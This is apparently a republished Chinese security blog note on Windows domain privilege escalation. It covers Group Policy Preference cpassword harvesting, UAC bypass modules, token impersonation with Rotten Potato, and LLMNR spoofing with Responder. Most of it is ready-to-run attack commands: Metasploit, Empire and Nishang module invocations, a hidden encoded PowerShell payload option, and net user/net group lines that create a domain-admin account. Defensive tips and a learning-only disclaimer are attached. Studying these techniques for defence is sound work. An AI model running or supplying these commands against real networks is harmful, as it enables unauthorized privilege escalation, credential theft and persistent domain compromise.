1、概述
本篇文章续内网(笔记)-权限提升
2、内容
2.1 组策略首选项提权
常见组策略首选项:
映射驱动器(Drives.xml)
创建本地用户
数据源(DataSources.xml)
打印机配置(Printers.xml)
创建/更新服务(Services.xml)
计划任务
获取组策凭据
在SYSVOL搜索包含cpassword的XML文件,浏览SYSVOL文件夹获取文件。获取到cpassword后可对其进行解密,使用python脚本。
脚本下载链接:https://github.com/xtenex/gpprefdecrypt
使用powershell提供的Get-GPPPassword.ps1脚本
下载链接:https://github.com/toddalbers/PowerSploitUpdate2021/blob/main/Get-GPPPassword.ps1
导入模块后使用命令
Get-GPPPassword
使用Metasploit查找cpassword
use post/windows/gather/credentials/gpp
使用Empire查找cpassword
usemodule privesc/gpp
info
除groups.xml中还有其他首选项文件中存在cpassword属性
ServicesServices.xml
ScheduledTasksScheduledTasks.xml
PrintersPrinters.xml
DrivesDrives.xml
DataSourcesDataSources.xml
防御组策略首选项提权措施
对Everyone访问权限进行设置:
设置共享文件夹SYSVOL的访问权限
将包含组策略密码的XML文件从SYSVOL目录中删除
不要把密码放在所有域用户都有访问权限的文件中
如果需要更改域中机器的本地管理员密码,建议使用LAPS
2.2 绕过UAC提权
用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
bypassuac模块
使用Metasploit中的模块
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
getsystem
使用此模块提权时,当前用户必须在管理员组中并UAC未默认设置(“仅在程序试图更改我的计算机时通知我”),使用bypassuac_injection可降低被杀软检查的概率。
RunAs模块
exploit/windows/local/ask
此模块会创建可执行文件,目标机器会发起提升权限的请求,使用此模块当前用户必须在管理员组中或者知道管理员的密码,对UAC的设置没有要求。在使用此模块时,需要使用EXE::Custom选项创建一个免杀的可执行文件。
Nishang中的Invoke-PsUACme模块
使用UACME项目的DLL绕过UAC
Invoke-PsUACme -Verbose 使用sysprep方法并执行默认的payload
Invoke-PsUACme -method oobe -Verbose 使用oobe方法并执行默认的payload
Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e payload "
使用-Payload参数可自行指定执行的payload
使用-PayloadPath指定payload路径,-CustomDll64或者-CustomDll32可自定义DLL文件。
Emprie中的bypassuac模块
bypassuac模块
usemodule privesc/bypassuac
set Listener sahx
execute
在agents下执行
list
bypassuac_wscript模块
使用C:Windowswscript.exe执行payload绕过UAC,只适用于windows7机器。
防御措施
禁止内网用户拥有本地管理员权限
使用本地管理员用户权限登录的用户,将UAC设置为“始终通知”或删除改用户的本地管理员权限
使用微软EMET或MalwareBytes防范0day漏洞
2.3 令牌窃取
令牌指系统中的临时密钥,相当于账户密码。令牌最大的特点是随机性和不可预测性。伪造令牌攻击核心是Kerberos协议。
令牌窃取
获取meterpreter shell后
use incogninto
list_tokens -u 列出可用令牌
两种类型令牌
Delegation Tokens 授权令牌支持交互式登录
Impersonation Tokens 模拟令牌,支持非交互式的会话
假冒令牌获取权限
impersonate_token WIN-33TF5C567NY\Administrator
shell
whoami
Rotten Potato本地提权
可通过Rotten Potato程序快速模拟用户令牌来实现权限提升
use incogninto
list_tokens -u 列出可用令牌
然后使用Rotten Potato执行
下载链接:https://github.com/foxglovesec/RottenPotato
先将可执行文件上传到目标服务器后执行
upload /root/RottenPotato/rottenpotato.exe
execute -HC -f rottenpotato.exe
impersonate_token "NT AUTHORITY\SYSTEM
getuid
添加域管理员
然后在meterpreter会话窗口ps查看系统进程,寻找域管理进程,使用migrate迁移进程,在shell中添加
net user sahx sa@sahx123 /ad /domain
添加到域管理员组中
net group "domain admins" sahx /ad /domain
net group "domain admins" /domain 查看
可在meterpreter使用incognito模拟域管理员添加,在域控主机添加一个账户
add_user sahx sa@sahx123 -h 1.1.1.2
将账户添加到与管理员组中
add_group_user "Domain Admins" sahx -h 1.1.1.2
Empire下的令牌窃取
获取服务器权限后使用内置mimikatz获取系统密码
运行mimikatz
creds 查看列举出来的密码,查找登录的域用户
pth ID 这里的id指的是credID
ps 查看当前是否有域用户进程在运行
通过steal_token获取令牌
获取令牌后
revtoself 恢复令牌权限
令牌窃取提权防护措施
及时安装微软推送补丁
对来路不明的或者有危险的软件不要再系统中使用也不要在虚拟机中使用
对令牌的时效性进行限制,防止散列值被破解后泄露有效的令牌信息,越敏感的数据其令牌时效应越短。如果每个操作都使用独立的令牌可以容易定泄露令牌的操作或环节
对于令牌,应采取加密存储及多重验证保护
使用加密链路SSL/TLS传输令牌,防止中间人窃听
2.4 无凭证条件下的权限获取
进入目标网络后未获取任何凭证,使用LLMNR(本地链路多播名称解析,是一种域名系统数据包格式)和NetBIOS欺骗攻击对目标网络进行渗透测试。
使用responder工具进行欺骗攻击获取Net-NTLM Hash。
下载链接:https://github.com/SpiderLabs/Responder/
免责声明:
本公众号漏洞复现文章,SRC、渗透测试等文章,仅供学习参考,请勿用于实战!!有授权情况下除外!!由于传播、利用本公众号文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责
原文始发于微信公众号(sahx安全从业记):内网(笔记)-权限提升(续)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论